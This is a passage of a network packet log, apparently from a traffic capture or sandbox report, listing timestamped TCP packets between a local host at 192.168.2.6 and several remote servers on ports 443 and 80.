Nov 25, 2024 05:46:17.802737951 CET	49725	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:17.802799940 CET	443	49725	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:17.802860975 CET	49725	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:17.807883024 CET	49725	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:17.807913065 CET	443	49725	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:18.439392090 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:18.439449072 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:18.439564943 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:18.446501970 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:18.446535110 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:18.446614981 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:18.450290918 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:18.450309038 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:18.450382948 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:18.453943968 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:18.453953981 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:18.454014063 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:18.454086065 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:18.454093933 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:18.454149961 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:18.679363966 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:18.679421902 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:18.680471897 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:18.680493116 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:18.695763111 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:18.695792913 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:18.747076988 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:18.747095108 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:18.747133017 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:18.747154951 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:18.790878057 CET	443	49722	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:18.790951967 CET	49722	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:18.792398930 CET	49722	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:18.792412043 CET	443	49722	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:18.792645931 CET	443	49722	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:18.792692900 CET	49722	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:18.792870045 CET	49722	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:18.792893887 CET	443	49722	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:18.800834894 CET	443	49721	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:18.800923109 CET	49721	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:18.802453995 CET	49721	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:18.802475929 CET	443	49721	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:18.802615881 CET	49721	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:18.802650928 CET	443	49721	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:18.803281069 CET	443	49721	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:18.803371906 CET	49721	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:18.852794886 CET	49673	443	192.168.2.6	173.222.162.64
Nov 25, 2024 05:46:18.919248104 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:18.919332981 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:18.920917988 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:18.920931101 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:18.921226978 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:18.931149006 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:18.950340986 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:18.950386047 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:18.953389883 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:18.975332022 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:18.988265038 CET	49674	443	192.168.2.6	173.222.162.64
Nov 25, 2024 05:46:19.072863102 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:19.277129889 CET	49672	443	192.168.2.6	173.222.162.64
Nov 25, 2024 05:46:19.369427919 CET	443	49722	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:19.369466066 CET	443	49722	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:19.369497061 CET	49722	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:19.369517088 CET	443	49722	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:19.369529009 CET	49722	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:19.369558096 CET	49722	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:19.369882107 CET	49722	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:19.369918108 CET	443	49722	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:19.369995117 CET	49722	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:19.408814907 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.408834934 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.408850908 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.408904076 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.408931017 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.408978939 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.424067974 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:19.425932884 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:19.428370953 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:19.493818998 CET	443	49721	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:19.493880033 CET	443	49721	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:19.493930101 CET	49721	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:19.493930101 CET	49721	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:19.493987083 CET	443	49721	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:19.494035959 CET	49721	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:19.494241953 CET	49721	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:19.494329929 CET	443	49721	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:19.494465113 CET	49721	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:19.547796011 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:19.594789982 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.594851971 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.594866037 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.594885111 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.594932079 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.594948053 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.639637947 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.639686108 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.639723063 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.639734983 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.639789104 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.778683901 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.778708935 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.778779030 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.778795004 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.778852940 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.812227964 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.812252998 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.812316895 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.812326908 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.812367916 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.833314896 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.833336115 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.833380938 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.833389997 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.833447933 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.833462000 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.851479053 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.851489067 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.851579905 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.851588964 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.851634026 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.881761074 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:19.881844044 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:19.881928921 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:19.882002115 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:19.884516954 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:19.972466946 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.972496033 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.972533941 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.972543955 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.972577095 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.972613096 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.989345074 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.989367008 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.989411116 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.989418983 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:19.989458084 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:19.989483118 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.003959894 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.004127979 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.004151106 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.004194975 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.004204988 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.004236937 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.004267931 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.020035982 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.020055056 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.020112991 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.020123005 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.020173073 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.116739988 CET	443	49725	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:20.116816044 CET	49725	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:20.130839109 CET	49725	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:20.130875111 CET	443	49725	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:20.131086111 CET	49725	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:20.131093979 CET	443	49725	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:20.131268024 CET	443	49725	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:20.131378889 CET	49725	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:20.169909954 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.169929981 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.169981956 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.169994116 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.170030117 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.170082092 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.184866905 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.184890985 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.184935093 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.184947014 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.184982061 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.185009003 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.189182043 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.189241886 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.189250946 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.189342976 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.189363956 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.189376116 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.189382076 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.189389944 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.227710962 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.227739096 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.227946997 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.229708910 CET	49732	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.229723930 CET	443	49732	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.229801893 CET	49732	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.230294943 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.230319977 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.230398893 CET	49732	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.230415106 CET	443	49732	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.232389927 CET	49733	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.232435942 CET	443	49733	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.232497931 CET	49733	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.232690096 CET	49733	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.232708931 CET	443	49733	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.233815908 CET	49734	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.233824968 CET	443	49734	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.233963966 CET	49734	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.234623909 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.234635115 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.234724045 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.234838009 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.234849930 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.234957933 CET	49734	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:20.234970093 CET	443	49734	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:20.258042097 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.258132935 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.288749933 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.288825989 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.296869040 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.297015905 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.310184002 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.310198069 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.310446978 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.310491085 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.310491085 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.310554028 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.310650110 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.310684919 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.310729980 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.310775042 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.310830116 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.310843945 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.310914993 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.311196089 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.311266899 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.312067986 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.335764885 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.335886955 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.339236021 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.339241028 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.339440107 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.339446068 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.339587927 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.339637041 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.339643955 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.339673996 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.339684010 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:20.339688063 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.339696884 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.339709997 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.339721918 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:20.339745045 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:20.339770079 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:20.339770079 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.339807987 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:20.343750000 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.343802929 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.346069098 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.346074104 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.346405983 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.346456051 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.346537113 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.348076105 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.348156929 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:20.349442005 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:20.351332903 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.355345011 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.391338110 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.468905926 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.735169888 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.735233068 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.735251904 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.735276937 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.735296965 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.735301971 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.735348940 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.735367060 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.735368013 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.735411882 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.750381947 CET	443	49725	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:20.750397921 CET	443	49725	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:20.750437021 CET	443	49725	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:20.750441074 CET	49725	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:20.750474930 CET	49725	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:20.750488997 CET	443	49725	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:20.750519037 CET	49725	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:20.750538111 CET	49725	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:20.768003941 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.768027067 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.768042088 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.768080950 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.768116951 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.768121958 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.768188000 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.796087027 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.796106100 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.796144962 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.796205044 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.796236992 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.796269894 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.796288967 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.802103043 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.802174091 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:20.823717117 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.823775053 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.823817015 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.823822975 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.823848963 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.823859930 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.823906898 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.823906898 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.834162951 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:20.834805012 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:20.840409994 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.840447903 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.840466976 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.840498924 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.840512037 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.840517044 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.840559959 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.840560913 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.921648979 CET	443	49725	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:20.921742916 CET	49725	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:20.921829939 CET	49725	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:20.921875000 CET	443	49725	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:20.921960115 CET	49725	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:20.922751904 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.922777891 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.922858000 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.922883034 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.922909021 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.923125029 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.953592062 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.954272985 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.954308033 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.954404116 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.954437971 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.954509020 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:20.955441952 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.955466986 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.955516100 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.955532074 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.955559969 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.955646038 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.972014904 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.972043037 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.972105026 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.972126961 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.972166061 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.972234964 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:20.988296986 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:20.988318920 CET	443	49726	150.171.27.10	192.168.2.6
